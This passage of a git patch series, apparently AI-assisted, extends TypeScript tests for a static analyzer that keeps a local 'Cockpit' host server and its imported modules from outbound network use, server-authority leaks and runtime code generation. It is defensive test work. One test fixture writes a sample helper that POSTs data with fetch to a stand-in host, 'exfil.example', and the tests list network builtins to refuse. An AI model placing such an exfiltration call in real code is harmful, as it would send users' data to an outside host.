+ inListener(`response.end('ok');`),
+ inListener('response.end(`${request.url ?? \'\'}
`);'),
+ inListener(`response.end('' + request.url + '
');`),
+ inListener(`const body = 'x';\nconst page = body;\nresponse.end(page);`),
+ inListener(`function page(title: string) { return \`\${title}\`; }\nresponse.end(page('x'));`),
+ inListener(`const page = () => 'x' + request.url;\nresponse.end(page());`),
+ REAL_HOST_REPLICA,
+ ]) {
+ const result = analyzeNetworkPolicy(source);
+ expect(result.reasons, `${source}\n${describeFindings(result)}`).toEqual([]);
+ }
+ // Sibling-export string paths through the host module graph.
+ const siblings = analyzeNetworkPolicyTree([
+ { file: 'styles.ts', text: 'export const STYLES = `body {}`;' },
+ { file: 'render.ts', text: 'export function render(title: string): string {\n return `${title}
`;\n}' },
+ {
+ file: 'server.ts',
+ text: `${NS}\nimport { render } from './render.js';\nimport { STYLES } from './styles.js';\nhttp.createServer((request, response) => {\n if (request.url === '/styles.css') { response.end(STYLES); return; }\n response.end(render('x'));\n}).listen(4317, '127.0.0.1');`,
+ },
+ ]);
+ for (const [file, result] of siblings) expect(result.reasons, `${file}: ${describeFindings(result)}`).toEqual([]);
+ // The real host tree stays ALLOW: its bodies are literals, a sibling string constant and a sibling template function.
+ const host = readdirSync(hostDir, { recursive: true })
+ .map((entry) => String(entry))
+ .filter((name) => name.endsWith('.ts'))
+ .map((file) => ({ file, text: readFileSync(join(hostDir, file), 'utf8') }));
+ for (const [file, result] of analyzeNetworkPolicyTree(host)) {
+ expect(result.reasons, `${file}: ${describeFindings(result)}`).toEqual([]);
+ expect(result.verdict, file).toBe('ALLOW');
+ }
+ // Structural: the proof names no global identifier.
+ const detector = readFileSync(detectorPath, 'utf8');
+ expect(occurrences(detector, "'String'")).toBe(0);
+ expect(occurrences(detector, 'function isProvenString(')).toBe(1);
+ });
+
it('is structural: one runtime-shadow predicate, threaded through the single symbol-resolution path', () => {
const detector = readFileSync(detectorPath, 'utf8');
expect(occurrences(detector, 'function isRuntimeShadowed(')).toBe(1);
@@ -1304,6 +1365,8 @@ describe('D3 network policy positive shapes for close and end (PR #67 Codex P1)'
inListener(`response.end(request.url ?? '');`),
inListener(`let body = 'x';\nresponse.end(body);`),
inListener(`const String = (v: unknown) => v;\nresponse.end(String('x'));`),
+ inListener(`response.end(String(request.url));`),
+ inListener(`response.end(String(1));`),
inListener(`function echo(v: string) { return v; }\nresponse.end(echo('x'));`),
inListener(`async function page() { return 'x'; }\nresponse.end(page());`),
inListener(`function* page() { yield 'x'; }\nresponse.end(page());`),
@@ -1322,7 +1385,6 @@ describe('D3 network policy positive shapes for close and end (PR #67 Codex P1)'
inListener(`response.end('' + request.url + '
');`),
inListener(`const body = 'x';\nconst page = body;\nresponse.end(page);`),
inListener(`response.end(request.url === '/' ? 'root' : 'other');`),
- inListener(`response.end(String(request.url));`),
inListener(`function page(title: string) { return \`\${title}
\`; }\nresponse.end(page('x'));`),
inListener(`function page() { return ''; }\nconst html = page();\nresponse.end(html);`),
inListener(`const page = () => 'x';\nresponse.end(page());`),
@@ -1339,6 +1401,7 @@ describe('D3 network policy positive shapes for close and end (PR #67 Codex P1)'
expect(occurrences(detector, 'function checkAllowedCallShape(')).toBe(1);
expect(occurrences(detector, 'checkAllowedCallShape(ctx, parent, classes)')).toBe(1);
expect(occurrences(detector, 'function isProvenString(')).toBe(1);
+ expect(occurrences(detector, "'String'")).toBe(0);
expect(occurrences(detector, 'function hasOnlyLocalCallback(')).toBe(1);
expect(occurrences(detector, 'function hasOnlyProvenStringChunk(')).toBe(1);
expect(occurrences(detector, "deny(ctx, 'SERVER_CLOSE_CALLBACK'")).toBe(1);
diff --git a/tests/cockpit-host/support/d3-network-policy.ts b/tests/cockpit-host/support/d3-network-policy.ts
index 9a94c67..5388c97 100644
--- a/tests/cockpit-host/support/d3-network-policy.ts
+++ b/tests/cockpit-host/support/d3-network-policy.ts
@@ -1167,11 +1167,12 @@ function isLoopbackListen(ctx: Context, call: ts.CallExpression): boolean {
/**
* Proven string (positive policy): an expression that can only evaluate to a
* primitive string — a string or template literal (any spans), `+` with a
- * proven-string side, a conditional of proven strings, `String(...)` through
- * the unshadowed global, a unique const initialized by one, a call of a local
- * non-async eligible callee whose every own return is one, or a binding seeded
- * from a sibling host file's proven exports. Nothing else is proven, so no
- * callable value (a Proxy, a function) can reach a Node callback position.
+ * proven-string side, a conditional of proven strings, a unique const
+ * initialized by one, a call of a local non-async eligible callee whose every
+ * own return is one, or a binding seeded from a sibling host file's proven
+ * exports. No ambient global call is proven: a global binding can be replaced
+ * through routes this analysis does not track, so nothing else is proven and
+ * no callable value (a Proxy, a function) can reach a Node callback position.
*/
function isProvenString(ctx: Context, expression: ts.Expression, visiting: Set): boolean {
const node = unwrap(expression);
@@ -1197,7 +1198,7 @@ function isProvenString(ctx: Context, expression: ts.Expression, visiting: Set' + request.url + '
');`)),
allow('socket acquisition through proven target policy', 'end with a const string chain', inListener(`const body = 'x';\nconst page = body;\nresponse.end(page);`)),
allow('socket acquisition through proven target policy', 'end with a conditional of proven strings', inListener(`response.end(request.url === '/' ? 'root' : 'other');`)),
- allow('socket acquisition through proven target policy', 'end with String() of anything', inListener(`response.end(String(request.url));`)),
+ allow('socket acquisition through proven target policy', 'end with a template of anything', inListener(`response.end(\`\${request.url}\`);`)),
+ // Codex P1 family: no ambient global call proves a string, so the routes that replace `String` no longer matter here.
+ deny('socket acquisition through proven target policy', 'end with String() of anything is not proven', inListener(`response.end(String(request.url));`), ['RESPONSE_END_ARGUMENT']),
+ deny('socket acquisition through proven target policy', 'end with String() of a literal is not proven', inListener(`response.end(String('x'));`), ['RESPONSE_END_ARGUMENT']),
allow('socket acquisition through proven target policy', 'end with a local string function result', inListener(`function page(title: string) { return \`\${title}
\`; }\nresponse.end(page('x'));`)),
allow('socket acquisition through proven target policy', 'end with a const holding a local string function result', inListener(`function page() { return ''; }\nconst html = page();\nresponse.end(html);`)),
deny('socket acquisition through proven target policy', 'server.on connection', withServer(`server.on('connection', (socket) => { socket.write('x'); });`), ['SERVER_MEMBER']),
@@ -837,14 +840,14 @@ const LISTENER_BOUNDARY: readonly RegressionRow[] = [
allow('createServer listener boundary', 'async arrow listener', `${NS}\nhttp.createServer(async (request, response) => { response.end(); });`),
allow('createServer listener boundary', 'anonymous function expression listener', `${NS}\nhttp.createServer(function (request, response) { response.end(); });`),
allow('createServer listener boundary', 'named function expression listener', `${NS}\nhttp.createServer(function handler(request, response) { response.end(); });`),
- allow('createServer listener boundary', 'unique FunctionDeclaration listener', `${NS}\nfunction handle(request: http.IncomingMessage, response: http.ServerResponse) { response.end(String(request.url)); }\nhttp.createServer(handle);`),
+ allow('createServer listener boundary', 'unique FunctionDeclaration listener', `${NS}\nfunction handle(request: http.IncomingMessage, response: http.ServerResponse) { response.end(\`\${request.url}\`); }\nhttp.createServer(handle);`),
allow('createServer listener boundary', 'hoisted FunctionDeclaration listener', `${NS}\nhttp.createServer(handle);\nfunction handle(request: http.IncomingMessage, response: http.ServerResponse) { response.end(); }`),
allow('createServer listener boundary', 'const listener spine', `${NS}\nconst h1 = ${L};\nconst h2 = h1;\nhttp.createServer(h2);`),
allow('createServer listener boundary', 'wrapped listener', `${NS}\nhttp.createServer((${L}) as any);`),
allow('createServer listener boundary', 'wrapped callee', `${NS}\n(http.createServer)(${L});`),
allow('createServer listener boundary', 'zero-parameter listener', `${NS}\nhttp.createServer(() => {});`),
allow('createServer listener boundary', 'one-parameter listener', `${NS}\nhttp.createServer((request) => { request.url; });`),
- allow('createServer listener boundary', 'pattern at parameter 2 is unconstrained', `${NS}\nhttp.createServer((request, response, { extra }: any) => { response.end(String(extra)); });`),
+ allow('createServer listener boundary', 'pattern at parameter 2 is unconstrained', `${NS}\nhttp.createServer((request, response, { extra }: any) => { response.end(\`\${extra}\`); });`),
allow('createServer listener boundary', 'exported const listener', `${NS}\nexport const handler = ${L};\nhttp.createServer(handler);`),
];
@@ -1039,7 +1042,7 @@ const REAL_HOST: readonly RegressionRow[] = [
allow('real host acceptance', 'inline replica of the Stage-A host', REAL_HOST_SHAPE),
allow('real host acceptance', 'type positions on the namespace', `${NS}\nfunction f(request: http.IncomingMessage, response: http.ServerResponse): http.Server | null { request; response; return null; }`),
allow('real host acceptance', 'request.method nullish fallback', inListener(`const method = request.method ?? '';\nif (method !== 'GET') { response.statusCode = 405; response.setHeader('Allow', 'GET'); response.end('405'); return; }`)),
- allow('real host acceptance', 'request.url passed to a pure helper', inListener(`function pathOf(url: string) { return url; }\nconst path = pathOf(request.url ?? '');\nresponse.end(String(path));`)),
+ allow('real host acceptance', 'request.url passed to a pure helper', inListener(`function pathOf(url: string) { return url; }\nconst path = pathOf(request.url ?? '');\nresponse.end(\`\${path}\`);`)),
allow('real host acceptance', 'listen with host and port constants', withFactory(`const HOST = '127.0.0.1';\nconst PORT = 4317;\nfunction main() { const server = createCockpitServer(); server.listen(PORT, HOST, () => { console.log(HOST); }); }\nmain();`)),
];
From 5e6d99679b445ec89b8414f5fdf571ad31b2836e Mon Sep 17 00:00:00 2001
From: LogicDuke
Date: Thu, 3 Sep 2026 11:37:39 +0200
Subject: [PATCH 14/20] fix(cockpit): analyze the host's executable import
closure, not its directory
Close the newest Codex P1 on PR #67 structurally. The D3 network policy
read only src/cockpit-host, while the host may import any file under the
Cockpit boundary, which may import the domain kernel. An allowed
`../cockpit/` helper using fetch or handing out a server was therefore
never analyzed, and the host call was treated as unprivileged.
The purity suite now walks the host's executable closure: every host
source, then every runtime relative import of every member, transitively,
each admitted only as a source file under src/ and named relative to
src/, so the tree resolves `../cockpit/index.js` to `cockpit/index.ts`
and seeds the host importer with the boundary's proven exports. The walk
reuses the existing TypeScript specifier extractor, which gained a
runtimeOnly option that skips erased type-only declarations, and the
existing URL resolver, now shared with the import-boundary check instead
of duplicated. The closure is pinned to an explicit twelve-file list in a
support module both suites read, an assertion proves every runtime
relative import in the closure resolves to another member, and a boundary
witness proves a Cockpit helper with network or server authority is
denied through the host import. The real closure remains ALLOW and
CONVERGED. No production source changes; the D1 text scan is untouched.
Co-Authored-By: Claude Fable 5.1
Claude-Session: https://claude.ai/code/session_01XzBQxxngHwrQ88eAn53Pfg
---
tests/cockpit-host/d3-network-policy.test.ts | 24 ++-
tests/cockpit-host/purity.test.ts | 146 +++++++++++++++++--
tests/cockpit-host/support/host-closure.ts | 32 ++++
3 files changed, 175 insertions(+), 27 deletions(-)
create mode 100644 tests/cockpit-host/support/host-closure.ts
diff --git a/tests/cockpit-host/d3-network-policy.test.ts b/tests/cockpit-host/d3-network-policy.test.ts
index 28261a7..da224ed 100644
--- a/tests/cockpit-host/d3-network-policy.test.ts
+++ b/tests/cockpit-host/d3-network-policy.test.ts
@@ -1,4 +1,4 @@
-import { readdirSync, readFileSync } from 'node:fs';
+import { readFileSync } from 'node:fs';
import { join } from 'node:path';
import { fileURLToPath } from 'node:url';
@@ -28,6 +28,7 @@ import {
reversePropagationChain,
type RegressionRow,
} from './support/d3-regression-matrix.js';
+import { EXPECTED_HOST_CLOSURE, readHostClosure } from './support/host-closure.js';
/**
* Cockpit D3 network policy — mechanism tests and the semantic regression matrix.
@@ -1296,11 +1297,7 @@ ${describeFindings(result)}`).toEqual([]);
]);
for (const [file, result] of siblings) expect(result.reasons, `${file}: ${describeFindings(result)}`).toEqual([]);
// The real host tree stays ALLOW: its bodies are literals, a sibling string constant and a sibling template function.
- const host = readdirSync(hostDir, { recursive: true })
- .map((entry) => String(entry))
- .filter((name) => name.endsWith('.ts'))
- .map((file) => ({ file, text: readFileSync(join(hostDir, file), 'utf8') }));
- for (const [file, result] of analyzeNetworkPolicyTree(host)) {
+ for (const [file, result] of analyzeNetworkPolicyTree(readHostClosure())) {
expect(result.reasons, `${file}: ${describeFindings(result)}`).toEqual([]);
expect(result.verdict, file).toBe('ALLOW');
}
@@ -1687,15 +1684,12 @@ get().close();`,
// ---------------------------------------------------------------------------
describe('D3 network policy accepts the real Stage-A host', () => {
- const realHostSources = (): { file: string; text: string }[] =>
- readdirSync(hostDir, { recursive: true })
- .map((entry) => String(entry))
- .filter((name) => name.endsWith('.ts'))
- .map((file) => ({ file, text: readFileSync(join(hostDir, file), 'utf8') }));
-
- it('allows every real host source file through the host module graph', () => {
- const sources = realHostSources();
- expect(sources.map((source) => source.file)).toContain('server.ts');
+ it('allows the real executable closure — host, Cockpit boundary and domain kernel — through the host module graph', () => {
+ // The purity suite proves this pinned list is the host's real executable closure; here the detector accepts it as one tree.
+ const sources = readHostClosure();
+ expect(sources.map((source) => source.file)).toEqual([...EXPECTED_HOST_CLOSURE]);
+ expect(sources).toHaveLength(12);
+ expect(sources.map((source) => source.file)).toContain('cockpit-host/server.ts');
const results = analyzeNetworkPolicyTree(sources);
expect(results.size).toBe(sources.length);
for (const [file, result] of results) {
diff --git a/tests/cockpit-host/purity.test.ts b/tests/cockpit-host/purity.test.ts
index 75fa8c0..b9127f3 100644
--- a/tests/cockpit-host/purity.test.ts
+++ b/tests/cockpit-host/purity.test.ts
@@ -1,4 +1,5 @@
import {
+ existsSync,
lstatSync,
mkdirSync,
mkdtempSync,
@@ -16,6 +17,7 @@ import ts from 'typescript';
import { afterAll, describe, expect, it } from 'vitest';
import { analyzeNetworkPolicy, analyzeNetworkPolicyTree } from './support/d3-network-policy.js';
+import { EXPECTED_HOST_CLOSURE } from './support/host-closure.js';
/**
* Cockpit D3 host purity, bounded to `src/cockpit-host/`.
@@ -156,22 +158,83 @@ const ENCODED_SEPARATOR = /%2f|%5c/i;
* round-trip is performed for its throwing side effect, so a bad escape is
* rejected exactly as before).
*/
-const relativeImportStaysInBoundary = (importerRelPath: string, specifier: string): boolean => {
- let resolvedUrl: URL;
+const resolveRelativeImport = (importerFileUrl: URL, specifier: string): URL | null => {
try {
- const importerFileUrl = pathToFileURL(join(hostDir, importerRelPath));
- resolvedUrl = new URL(specifier, importerFileUrl);
- if (ENCODED_SEPARATOR.test(resolvedUrl.pathname)) return false;
+ const resolvedUrl = new URL(specifier, importerFileUrl);
+ if (ENCODED_SEPARATOR.test(resolvedUrl.pathname)) return null;
// Round-trip through `fileURLToPath` so a malformed percent escape (`%2`,
// `%zz`) throws and fails closed, matching the real loader; the decoded path
// is not otherwise needed because containment compares `file:` URLs.
fileURLToPath(resolvedUrl);
+ return resolvedUrl;
} catch {
- return false;
+ return null;
}
- return isWithin(resolvedUrl, HOST_ROOT_URL) || isWithin(resolvedUrl, COCKPIT_BOUNDARY_URL);
};
+const relativeImportStaysInBoundary = (importerRelPath: string, specifier: string): boolean => {
+ const resolvedUrl = resolveRelativeImport(pathToFileURL(join(hostDir, importerRelPath)), specifier);
+ return resolvedUrl !== null && (isWithin(resolvedUrl, HOST_ROOT_URL) || isWithin(resolvedUrl, COCKPIT_BOUNDARY_URL));
+};
+
+// The host's *executable* boundary is wider than its own directory: an allowed
+// `../cockpit/` import executes Cockpit code, which executes domain code. The
+// network policy must read exactly that closure (D3-NET boundary equality),
+// rooted at `src/` so `cockpit-host/server.ts` resolves `../cockpit/index.js`
+// to `cockpit/index.ts` inside the analyzed tree.
+const SRC_ROOT_URL = new URL('../', HOST_ROOT_URL);
+
+const isRelativeImportSpecifier = (specifier: string): boolean => specifier.startsWith('./') || specifier.startsWith('../');
+
+/** A `file:` URL under `src/` as the tree's '/'-separated, `src/`-relative name; anything else is outside the boundary. */
+const srcRelativeName = (fileUrl: URL): string => {
+ if (!isWithin(fileUrl, SRC_ROOT_URL)) throw new Error(`D3-NET: executable dependency leaves src/: ${fileUrl.href}`);
+ return decodeURIComponent(fileUrl.href.slice(SRC_ROOT_URL.href.length));
+};
+
+/** The `file:` URL of a tree name (the inverse of `srcRelativeName`). */
+const srcFileUrl = (name: string): URL => new URL(name.split('/').map(encodeURIComponent).join('/'), SRC_ROOT_URL);
+
+/**
+ * The closure member a runtime relative import executes: resolved through the one
+ * resolver, then the NodeNext `.js` specifier mapped to its `.ts` source. Throws
+ * when the import cannot be read as a `src/` source file — an executable
+ * dependency the tree cannot analyze is exactly the gap the closure closes.
+ */
+const closureMemberOf = (importerFileUrl: URL, specifier: string): string => {
+ const resolvedUrl = resolveRelativeImport(importerFileUrl, specifier);
+ if (resolvedUrl === null) throw new Error(`D3-NET: unresolvable runtime import ${specifier} from ${importerFileUrl.href}`);
+ const sourceUrl = new URL(resolvedUrl.href.replace(/\.js$/, '.ts').replace(/\.mjs$/, '.mts').replace(/\.cjs$/, '.cts'));
+ const name = srcRelativeName(sourceUrl);
+ if (!existsSync(fileURLToPath(sourceUrl))) {
+ throw new Error(`D3-NET: runtime import ${specifier} from ${importerFileUrl.href} has no source file ${name}`);
+ }
+ return name;
+};
+
+/**
+ * The host's executable import closure: every host source, then every runtime
+ * relative import of every member, transitively, each admitted only as a `src/`
+ * source file. `file` is `src/`-relative and '/'-separated — the tree entry's
+ * own form — so `analyzeNetworkPolicyTree` seeds a Cockpit export into its host
+ * importer exactly as it seeds a sibling host export. Bounded by the number of
+ * files under `src/`; a clause-level `import type` loads nothing and is skipped.
+ */
+function hostExecutableClosure(): readonly { readonly file: string; readonly text: string }[] {
+ const members = new Map();
+ const queue = hostSources().map((source) => srcRelativeName(pathToFileURL(join(hostDir, source.file))));
+ for (let next = queue.shift(); next !== undefined; next = queue.shift()) {
+ if (members.has(next)) continue;
+ const fileUrl = srcFileUrl(next);
+ const text = readFileSync(fileURLToPath(fileUrl), 'utf8');
+ members.set(next, text);
+ for (const specifier of extractModuleSpecifiers(text, { runtimeOnly: true })) {
+ if (isRelativeImportSpecifier(specifier)) queue.push(closureMemberOf(fileUrl, specifier));
+ }
+ }
+ return [...members].map(([file, text]) => ({ file, text }));
+}
+
// The host's production `node:*` needs are exactly these two (verified across
// `src/cockpit-host/**`); every other builtin — `node:fs`, `node:child_process`,
// `node:os`, `node:process`, `node:fs/promises`, … — is refused, so a "read-only"
@@ -223,7 +286,7 @@ const isAllowedNodeBuiltin = (specifier: string): boolean => ALLOWED_NODE_BUILTI
* import site is a distinct occurrence. This is a pure syntactic parse — no
* binder, type-checker, module resolution, or file-system access.
*/
-function extractModuleSpecifiers(source: string): readonly string[] {
+function extractModuleSpecifiers(source: string, options: { readonly runtimeOnly?: boolean } = {}): readonly string[] {
const sourceFile = ts.createSourceFile(
'module.ts',
source,
@@ -242,8 +305,11 @@ function extractModuleSpecifiers(source: string): readonly string[] {
const visit = (node: ts.Node): void => {
if (ts.isImportDeclaration(node) || ts.isExportDeclaration(node)) {
+ // A clause-level `import type` / `export type` is erased by emit and loads
+ // nothing at runtime; the executable-closure walk skips it on request.
+ const typeOnly = ts.isImportDeclaration(node) ? node.importClause?.phaseModifier === ts.SyntaxKind.TypeKeyword : node.isTypeOnly;
const specifier = stringLiteralText(node.moduleSpecifier);
- if (specifier !== null) specifiers.push(specifier);
+ if (specifier !== null && !(options.runtimeOnly === true && typeOnly)) specifiers.push(specifier);
} else if (ts.isImportEqualsDeclaration(node)) {
// `import x = require('S')` — an external-module reference.
if (ts.isExternalModuleReference(node.moduleReference)) {
@@ -3381,10 +3447,13 @@ describe('D3 host rejects symlink escapes under the Cockpit boundary (D3-CX-POLI
*/
describe('D3 host network policy (D3-NET)', () => {
it('accepts every real host source under the frozen network policy', () => {
- // The tree entry seeds each file with the proven exports of the sibling host
+ // The tree entry seeds each file with the proven exports of the sibling
// files it imports (server factories, string constants, string functions) and
- // applies the server-instantiation site bound across the whole host tree.
- const sources = hostSources();
+ // applies the server-instantiation site bound across the whole tree. The tree
+ // is the host's executable closure — host, Cockpit boundary, domain kernel —
+ // pinned so that a new executable dependency is enrolled explicitly.
+ const sources = hostExecutableClosure();
+ expect([...sources.map((source) => source.file)].sort()).toEqual([...EXPECTED_HOST_CLOSURE]);
const results = analyzeNetworkPolicyTree(sources);
expect(results.size).toBe(sources.length);
for (const [file, result] of results) {
@@ -3397,6 +3466,59 @@ describe('D3 host network policy (D3-NET)', () => {
}
});
+ it('analyzes the executable closure, not the host directory: every runtime relative import resolves to a closure member', () => {
+ const closure = hostExecutableClosure();
+ const names = new Set(closure.map((source) => source.file));
+ expect(names.size).toBe(closure.length);
+ let imports = 0;
+ for (const { file, text } of closure) {
+ for (const specifier of extractModuleSpecifiers(text, { runtimeOnly: true })) {
+ if (!isRelativeImportSpecifier(specifier)) continue;
+ imports += 1;
+ const member = closureMemberOf(srcFileUrl(file), specifier);
+ expect(names.has(member), `${file} -> ${specifier} executes ${member}, which the tree does not read`).toBe(true);
+ }
+ }
+ expect(imports).toBeGreaterThan(0);
+ // The host reaches the Cockpit boundary and, through it, the domain kernel: both are in the tree, nothing else is.
+ expect(names.has('cockpit-host/server.ts')).toBe(true);
+ expect(names.has('cockpit/index.ts')).toBe(true);
+ expect(names.has('domain/evidence.ts')).toBe(true);
+ for (const name of names) {
+ expect(/^(cockpit-host|cockpit|domain)\//.test(name), name).toBe(true);
+ }
+ // A type-only import loads nothing: it neither adds a member nor counts as an executable edge.
+ expect(extractModuleSpecifiers(`import type { T } from './t.js';\nimport { v } from './v.js';\nexport type { U } from './u.js';`, { runtimeOnly: true })).toEqual(['./v.js']);
+ expect(extractModuleSpecifiers(`import type { T } from './t.js';\nimport { v } from './v.js';`)).toEqual(['./t.js', './v.js']);
+ });
+
+ it('denies an allowed ../cockpit helper that uses network or server authority (boundary witness)', () => {
+ const listener = `(request: http.IncomingMessage, response: http.ServerResponse) => { response.end('ok'); }`;
+ const cockpitNet = `export function send(body: string): void {\n void fetch('https://exfil.example/', { method: 'POST', body });\n}`;
+ const cockpitFactory = `import http from 'node:http';\nexport function makeServer(): http.Server {\n return http.createServer(${listener});\n}`;
+ const host = `import { send } from '../cockpit/net.js';\nimport { makeServer } from '../cockpit/server-factory.js';\nsend('snapshot');\nmakeServer().listen(4567, '0.0.0.0');`;
+ // The host directory alone cannot see the helpers, so the same host text is unprivileged: this is the gap.
+ const hostOnly = analyzeNetworkPolicyTree([{ file: 'cockpit-host/server.ts', text: host }]);
+ expect(hostOnly.get('cockpit-host/server.ts')?.verdict).toBe('ALLOW');
+ // The executable closure reads them, seeds the host importer, and judges every file under the one policy.
+ const closure = analyzeNetworkPolicyTree([
+ { file: 'cockpit-host/server.ts', text: host },
+ { file: 'cockpit/net.ts', text: cockpitNet },
+ { file: 'cockpit/server-factory.ts', text: cockpitFactory },
+ ]);
+ expect(closure.get('cockpit/net.ts')?.reasons).toEqual(['FREE_GLOBAL_NETWORK']);
+ expect(closure.get('cockpit/server-factory.ts')?.reasons).toEqual([]);
+ expect(closure.get('cockpit-host/server.ts')?.reasons).toEqual(['SERVER_LISTEN_BINDING']);
+ // Through the barrel and into the domain kernel — the real shape of the host's closure — the verdict is the same.
+ const viaBarrel = analyzeNetworkPolicyTree([
+ { file: 'cockpit-host/server.ts', text: `import { send } from '../cockpit/index.js';\nsend('snapshot');` },
+ { file: 'cockpit/index.ts', text: `export { send } from '../domain/exfil.js';` },
+ { file: 'domain/exfil.ts', text: cockpitNet },
+ ]);
+ expect(viaBarrel.get('domain/exfil.ts')?.reasons).toEqual(['FREE_GLOBAL_NETWORK']);
+ expect(viaBarrel.get('cockpit-host/server.ts')?.reasons).toEqual([]);
+ });
+
it('rejects a host that reaches outbound network or leaks server authority (witness)', () => {
const witness = `
import http from 'node:http';
diff --git a/tests/cockpit-host/support/host-closure.ts b/tests/cockpit-host/support/host-closure.ts
new file mode 100644
index 0000000..aa89cf3
--- /dev/null
+++ b/tests/cockpit-host/support/host-closure.ts
@@ -0,0 +1,32 @@
+import { readFileSync } from 'node:fs';
+
+/**
+ * The pinned executable import closure of the Cockpit host, as `src/`-relative,
+ * '/'-separated tree names: every host source, the Cockpit boundary the host
+ * imports, and the domain kernel the boundary imports. The purity suite proves
+ * the real closure (walked from `src/cockpit-host/**` through every runtime
+ * relative import) equals this list, so a new executable dependency must be
+ * enrolled here explicitly; the network-policy suite proves the detector
+ * accepts exactly these files as one tree.
+ */
+export const EXPECTED_HOST_CLOSURE: readonly string[] = [
+ 'cockpit-host/escape.ts',
+ 'cockpit-host/fixtures/stage-a.ts',
+ 'cockpit-host/render.ts',
+ 'cockpit-host/server.ts',
+ 'cockpit-host/styles.ts',
+ 'cockpit/evidence-freshness-projection.ts',
+ 'cockpit/index.ts',
+ 'cockpit/read-model.ts',
+ 'domain/evidence-freshness.ts',
+ 'domain/evidence.ts',
+ 'domain/repair-job.ts',
+ 'domain/review.ts',
+];
+
+const SRC_ROOT_URL = new URL('../../../src/', import.meta.url);
+
+/** The pinned closure's sources, read from `src/`, in the tree entry's form (`file` relative to `src/`). */
+export function readHostClosure(): readonly { readonly file: string; readonly text: string }[] {
+ return EXPECTED_HOST_CLOSURE.map((file) => ({ file, text: readFileSync(new URL(file, SRC_ROOT_URL), 'utf8') }));
+}
From 5c38f8e5855206c33569ab3dfdfd053d6a856c59 Mon Sep 17 00:00:00 2001
From: LogicDuke
Date: Thu, 3 Sep 2026 12:05:37 +0200
Subject: [PATCH 15/20] fix: enforce executable-safety guards over the whole
host closure
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Close the 3 newest Codex findings on PR #67 as one mechanism repair, with
hostExecutableClosure() as the single source of truth for executable safety —
not just src/cockpit-host/**:
- outbound builtin/module allow-list is now applied to every runtime file in
the closure, so a Cockpit/domain member reaching node:net/tls/dgram/https/
http2 (or any bare package) is refused, not only the host directory;
- the runtime-code-generation guard (usesRuntimeCodeGeneration) and the
hidden-builtin-acquisition guard (acquiresHiddenBuiltin) are retargeted from
hostSources() to hostExecutableClosure(), covering every runtime file;
- extractModuleSpecifiers({ runtimeOnly: true }) now skips a type-only
`import type x = require('S')` exactly like other erased type-only imports, so
an erased ImportEqualsDeclaration never enters the runtime closure while a
runtime `import x = require('S')` still does.
Host-directory confinement and the symlink/topology checks stay scoped to the
host, where they encode directory shape rather than executable capability. No
duplicated host-vs-closure policies; analyzeNetworkPolicyTree is unchanged.
Regression coverage added: outbound builtins in Cockpit/domain members fail;
eval/Function/constructor code generation in Cockpit/domain members fails;
type-only import-equals stays out of the runtime closure while runtime
import-equals stays in; the real 12-file closure remains exactly pinned and
passes. No production src/** changes.
Co-Authored-By: Claude Opus 4.8
Claude-Session: https://claude.ai/code/session_01Rs9Qo9mWsSzFt8PDw5MAHs
---
tests/cockpit-host/purity.test.ts | 119 +++++++++++++++++++++++++++---
1 file changed, 109 insertions(+), 10 deletions(-)
diff --git a/tests/cockpit-host/purity.test.ts b/tests/cockpit-host/purity.test.ts
index b9127f3..148e83b 100644
--- a/tests/cockpit-host/purity.test.ts
+++ b/tests/cockpit-host/purity.test.ts
@@ -311,8 +311,11 @@ function extractModuleSpecifiers(source: string, options: { readonly runtimeOnly
const specifier = stringLiteralText(node.moduleSpecifier);
if (specifier !== null && !(options.runtimeOnly === true && typeOnly)) specifiers.push(specifier);
} else if (ts.isImportEqualsDeclaration(node)) {
- // `import x = require('S')` — an external-module reference.
- if (ts.isExternalModuleReference(node.moduleReference)) {
+ // `import x = require('S')` — an external-module reference. A type-only
+ // `import type x = require('S')` is erased by emit and loads nothing at
+ // runtime, exactly like a clause-level `import type … from`; the
+ // executable-closure walk skips it on request (`runtimeOnly`).
+ if (ts.isExternalModuleReference(node.moduleReference) && !(options.runtimeOnly === true && node.isTypeOnly)) {
const specifier = stringLiteralText(node.moduleReference.expression);
if (specifier !== null) specifiers.push(specifier);
}
@@ -2822,10 +2825,13 @@ describe('D3 host purity rejects symlink escapes (D3-CX-POLICY-SYMLINK)', () =>
// runtime code-generation primitive, so the host must use none.
// ---------------------------------------------------------------------------
describe('D3 host forbids runtime code generation (D3-CX-POLICY-RC)', () => {
- // Enforcement over the real host tree: no production source constructs code at
- // runtime, so the discipline is satisfied today and stays satisfied.
- it('accepts every real host source (none uses runtime code generation)', () => {
- for (const { file, text } of hostSources()) {
+ // Enforcement over the whole executable closure (the single source of truth):
+ // every runtime-executable file — host, Cockpit boundary and domain kernel —
+ // gets the runtime-code-generation guard, not just `src/cockpit-host/**`. No
+ // production source constructs code at runtime, so the discipline is satisfied
+ // today and stays satisfied.
+ it('accepts every real closure source (none uses runtime code generation)', () => {
+ for (const { file, text } of hostExecutableClosure()) {
expect(usesRuntimeCodeGeneration(text), `${file} uses runtime code generation`).toBe(false);
}
});
@@ -2903,10 +2909,12 @@ describe('D3 host forbids runtime code generation (D3-CX-POLICY-RC)', () => {
// A builtin obtained without an import specifier bypasses the exact allowlist.
// ---------------------------------------------------------------------------
describe('D3 host forbids hidden builtin acquisition (D3-CX-POLICY-HA)', () => {
- // Enforcement over the real host tree: no production source acquires a builtin
- // through a specifier-less side channel.
- it('accepts every real host source (none hides a builtin acquisition)', () => {
- for (const { file, text } of hostSources()) {
+ // Enforcement over the whole executable closure (the single source of truth):
+ // every runtime-executable file — host, Cockpit boundary and domain kernel —
+ // gets the hidden-builtin-acquisition guard. No production source acquires a
+ // builtin through a specifier-less side channel.
+ it('accepts every real closure source (none hides a builtin acquisition)', () => {
+ for (const { file, text } of hostExecutableClosure()) {
expect(acquiresHiddenBuiltin(text), `${file} hides a builtin acquisition`).toBe(false);
}
});
@@ -3430,6 +3438,97 @@ describe('D3 host rejects symlink escapes under the Cockpit boundary (D3-CX-POLI
});
});
+// ---------------------------------------------------------------------------
+// D3-NET single source of truth: the executable-safety guards are enforced over
+// the *whole* executable closure — `hostExecutableClosure()` — not just
+// `src/cockpit-host/**`. The runtime-code-generation guard and the
+// hidden-builtin-acquisition guard are applied to every closure member by the
+// `D3 host forbids …` describes above (retargeted to the closure). This block
+// owns the third guard — the outbound builtin/module allow-list — over the same
+// closure, and pins the real closure. Host-directory confinement and the
+// symlink/topology checks stay scoped to the host, where they encode directory
